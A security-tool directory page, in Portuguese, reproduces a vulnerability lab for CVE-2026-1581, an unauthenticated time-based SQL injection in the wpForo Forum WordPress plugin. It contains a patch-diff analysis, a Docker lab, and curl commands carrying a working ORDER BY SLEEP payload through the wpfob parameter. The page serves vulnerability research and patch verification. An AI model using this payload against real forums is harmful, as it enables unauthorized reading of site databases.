Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-1581-Analysis-Lab — Reproduz o CVE-2026-1581, uma injeção SQL baseada em tempo não autenticada no wpForo Forum <=2.4.14, com um laboratório Docker e PoC para demonstrar a vulnerabilidade e verificar o patch. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

Reproduz o CVE-2026-1581, uma injeção SQL baseada em tempo não autenticada no wpForo Forum <=2.4.14, com um laboratório Docker e PoC para demonstrar a vulnerabilidade e verificar o patch.

Ver Repositório
14há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-1581 — wpForo Forum (<= 2.4.14) Injeção SQL Baseada em Tempo Não Autenticada (ORDER BY)

ภาษาไทย


Resumo Executivo

CampoDetalhe
ID CVECVE-2026-1581
PluginwpForo Forum
Versões Afetadas<= 2.4.14
Versão Corrigida2.4.15
Tipo de VulnerabilidadeInjeção SQL Baseada em Tempo Não Autenticada (ORDER BY)
Pontuação CVSS7.5 (Alta)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 é uma vulnerabilidade de Injeção SQL Baseada em Tempo Não Autenticada no plugin wpForo Forum (<= 2.4.14). O parâmetro wpfob é usado em uma cláusula ORDER BY com apenas sanitização de texto aplicada, permitindo que um atacante não autenticado injete expressões SQL arbitrárias e leia dados do banco de dados.

  • O fornecedor corrigiu isso na versão 2.4.15 substituindo sanitize_text_field() por wpforo_sanitize_orderby(), que aplica uma lista de permissões sensível ao contexto.


Escopo e Segurança

  • Execute apenas em localhost + Docker Compose.

  • O PoC é uma prova de temporização baseada em tempo para demonstrar a diferença entre as versões vulnerável e corrigida.

  • Não use contra qualquer sistema sem autorização explícita.


Evidências em Resumo

  • Prova de versão: A página /community/ carrega /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vuln) vs 2.4.15 (corrigida).

  • Prova de código: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • Prova de comportamento: wpfob=modified,(SELECT SLEEP(5)) causa atraso de ~5s na versão vulnerável; a versão corrigida responde próximo à linha de base.


O Que Observei no Aviso do CVE

  • O aviso do CVE apenas afirma que se trata de uma injeção SQL baseada em tempo através do parâmetro wpfob, corrigida na versão 2.4.15. No momento da análise, nenhum PoC público estava disponível.

  • Este relatório foi, portanto, construído através de comparação de código-fonte entre 2.4.14 e 2.4.15, rastreando o parâmetro desde a entrada HTTP através da sanitização até o ponto onde é usado para construir a consulta SQL — a fim de entender a causa raiz e reproduzir o problema.

vulnx CVE-2026-1581


1) Análise Orientada pelo Código-Fonte

1.1 Localizando wpfob

Começando com uma busca por wpfob no código-fonte, descobriu-se que a página Recentes recebe o valor diretamente de um parâmetro GET e o atribui como argumento orderby.

find wpfob

Vulnerável (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Corrigido (2.4.15) — mesmo arquivo, sanitizador substituído:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

Por que focar em recent.php? Porque é uma rota acionável onde wpfob é atribuído diretamente a $args['orderby'].


1.2 Fluxo de Dados até o SQL: ORDER BY ...

Uma vez que $args['orderby'] é definido, ele flui para o construtor de consultas do wpForo para construir a cláusula ORDER BY.

Concatenação ORDER BY (vuln 2.4.14)

classes/Topics.php:

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php:

SQL builder: ORDER BY concatenation in Posts.php

Explicação

  • sanitize_text_field() apenas remove/limpa a string — não aplica uma lista de permissões de nomes de colunas permitidos.
  • Como orderby é concatenado diretamente em ORDER BY <orderby>, um atacante pode injetar expressões SQL arbitrárias na posição do ORDER BY.

Referência: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 Destaques do Patch/Diff (2.4.14 → 2.4.15)

1.3.1 Diff: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 Diff: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 Nova função de patch: wpforo_sanitize_orderby()

A versão 2.4.15 introduz um sanitizador de lista de permissões sensível ao contexto que retorna o valor padrão se a entrada não estiver na lista permitida:

whitelistor


2) Design do Laboratório (Vuln vs Corrigido)

2.1 Serviços no Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — usa wp-cli para instalar o WordPress, instalar o plugin, criar a página /community/ com o shortcode [wpforo], configurar permalinks, gerar .htaccess e criar artefatos de verificação.

2.2 Rota de Teste

A partir da leitura do código-fonte, wpfob é usado explicitamente na página recentes:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) Reprodução: Prova de Temporização

Pelo menos 1 tópico e 1 postagem devem existir antes do teste.

3.1 Por que "postagens são necessárias"

  • Esta é uma vulnerabilidade de injeção ORDER BY.
  • Se o wpForo não tiver tópicos ou postagens, a consulta pode retornar 0 linhas — nesse caso, nenhuma ordenação ocorre no lado do banco de dados, o caminho de código pode não avaliar a expressão ORDER BY, e nenhum atraso é observado — um falso negativo.

Pelo menos 1 tópico e 1 postagem são necessários.

3.2 Temporização de Linha de Base

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 Temporização de Ataque

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

Esperado

  • Vuln: attack_vuln ≈ baseline_vuln + ~5s
  • Corrigido: attack_patched ≈ linha de base (sem atraso)

3.4 Resultados

result


Runbook — Como Construir o Laboratório e Usar o PoC (CVE-2026-1581)

1) Construir o Laboratório (Vuln vs Corrigido)

1.1 Pré-requisitos

  • Docker Desktop + Docker Compose v2
  • Portas disponíveis: 8081 (vuln), 8082 (corrigido)

1.2 Arquivos Necessários

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 Iniciar o Laboratório

A partir da pasta do projeto:

root@kitploit:~
docker compose up -d

1.4 Verificar

Verifique se ambas as instâncias estão acessíveis:

  • Vuln: http://localhost:8081/community/
  • Corrigido: http://localhost:8082/community/

E a página de recentes:

  • Vuln: http://localhost:8081/community/recent/?view=opened
  • Corrigido: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 Semear Tópicos/Postagens via wp-cli (apenas para uso em laboratório)

Necessário para reprodutibilidade e para evitar falsos negativos.

root@kitploit:~
# 1) Verificar contagens (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) Inserir 1 tópico e 1 postagem (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

Para a instância corrigida, substitua seed_vuln por seed_patched.


2) Usando o PoC

2.1 Instalar Dependências

O uso de um ambiente virtual é recomendado:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 Executar o PoC

root@kitploit:~
# vuln
python3 poc.py http://localhost:8081

# corrigido
python3 poc.py http://localhost:8082

2.3 Saída do PoC

POC


3) Limpeza

root@kitploit:~
docker compose down -v

Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
Baixar ferramenta